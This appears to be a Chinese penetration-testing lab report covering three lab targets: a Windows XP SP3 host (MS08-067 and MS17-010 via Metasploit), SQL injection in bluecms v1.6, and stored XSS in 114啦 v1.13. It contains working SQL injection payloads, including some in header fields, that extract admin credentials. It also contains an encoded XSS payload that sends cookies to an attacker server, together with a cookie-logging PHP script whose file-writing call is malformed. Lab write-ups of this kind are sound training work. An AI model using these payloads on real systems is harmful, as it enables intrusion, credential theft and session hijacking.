0x01 概述

第一周实训报告,覆盖信息搜集、漏洞分析、获取权限、权限提升

1.1 渗透范围

  • Windows XPSP3 (192.168.10.128)
  • bluecms v1.6
  • 114啦 v1.13

1.2 渗透主要内容

主要对一台主机、两台web服务器进行测试,包括SQL注入、XSS等几个方面进行测试。

1.3 脆弱性分析方法

通过漏洞扫描工具和手动源码分析获取相关数据。

0x02 渗透测试过程描述

2.1 Windows XPSP3主机渗透

2.1.1 工具扫描

主要通过Nessus进行主机扫描。

2.1.2 测试结果

严重漏洞4个,高危3个,中危2个,低危0个。

MS漏洞4个,可用为3个

  • MS08-067
  • MS09-001
  • MS17-010

2.1.3 MS08-067

风险等级

​ 高

漏洞描述

​ 攻击者可通过该漏洞构造特定的RPC请求造成缓冲区溢出,而获得远程代码执行。

漏洞验证

​ 使用工具metasploit进行测试,获取到系统密钥

权限维持

​ 木马植入成功,提权成功,开启3389后可进行进行访问

2.1.4 MS09-001

风险等级

​ 低

漏洞描述

​ SMB远程溢出漏洞,公开信息显示只能DOS不能利用,不排除有有效利用方法

漏洞验证

2.1.5 MS17-010

风险等级

​ 高

漏洞描述

​ 永恒之蓝。如果攻击者向 Windows SMBv1 服务器发送特殊设计的消息,那么其中最严重的影响可能允许远程执行代码。更可导致多种勒索病毒感染。

漏洞验证
权限维持

​ 略,方法同MS08-067

2.2.2 bluecms v1.6

2.2.1 工具扫描

主要通过Nessus、AWVS、Appscan进行扫描

2.2.2 测试结果

存在SQL、XSS、CSRF等漏洞,但bluecms只测试SQL注入

2.2.3 SQL注入测试

风险等级

​ 高

漏洞位置
注入点1:

http://192.168.108.139/src/uploads/ad_js.php

参数:ad_id

注入点2:

http://192.168.108.139/src/uploads/admin/nav.php

参数:act、navid

注入点3:

http://192.168.108.139/src/uploads/include/common.fun.php

参数:act

漏洞利用

注入后在注释中可获取用户名和密码的MD5值,在线MD5解密可得到管理员密码

payload 1
ad_id=1 union select 1,2,3,4,5,6,concat(admin_id,0x3a,admin_name,0x3a,email,0x3a,pwd,0x3a,purview,0x3a,add_time,0x3a,last_login_time,0x3a,last_login_ip) from blue_admin

注入后在输入框可获得用户名和密码的MD5值,在线MD5解密可得到管理员密码

payload 2
act=edit&navid=1 
union select 1,2,(select(concat(admin_id,0x3a,admin_name,0x3a,email,0x3a,pwd,0x3a,purview,0x3a,add_time,0x3a,last_login_time,0x3a,last_login_ip))from(blue_admin)),4,5,6

注入后在评论区可获得用户名和密码的MD5值,在线MD5解密可得到管理员密码

payload 3
CLIENT-IP: 1','2' ),("",'1','0','1','0',(select concat(admin_name,":",pwd) from blue_admin),'1','1
payload 4
X-Forwarded-For: 00', '1'),('','1','0','1','6',(select concat('<u-',admin_name,'-u><p-',pwd,'-p>') from blue_admin), '1281181973','99

评论区源码查看到管理员密码的MD5值

2.3 114啦 v1.13

2.3.1 工具扫描

​ 使用AWVS、Appscan进行扫描,并进行手工测试

2.3.2 测试结果

​ 未扫描到SQL注入,存在CSRF,手动挖掘到存储型XSS

2.3.3 跨站脚本攻击(XSS)

风险等级

​ 高

漏洞位置

http://192.168.108.139/url-submit/

参数:name

弹窗页面

http://192.168.108.139/admin/index.php?c=login&a=login

收录管理

漏洞利用

过滤了单引号,所以只要payload中不出现单引号就行。

普通存储弹窗

payload

action=add&name=<script>alert(1);</script>&siteurl=http://1234.com&jianjie=111&class=111&qq=1111111&email=123@11.com&pv=&icp=&sitetime=&lianxiren=&address=&mobile=&tel=&sharelink=0

单引号可使用payload转ASCII码绕过,也可编写js调用。

攻击端服务器代码

#cookie.php
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$ip,$time,$cookie);
?>

payload

action=add&name=<script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62,110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,39,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,48,56,46,49,50,57,47,99,111,111,107,105,101,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));</script>&siteurl=http://123456.com&jianjie=111&class=111&qq=1111111&email=123@11.com&pv=&icp=&sitetime=&lianxiren=&address=&mobile=&tel=&sharelink=0

管理员访问收录管理功能后可在攻击服务器中得到cookie.txt。

替换cookie后即可进入后台。

0x03 渗透测试总结

某些时候工具不比手工好使,从源码分析更容易找到漏洞。通常,后端的漏洞比前端更多。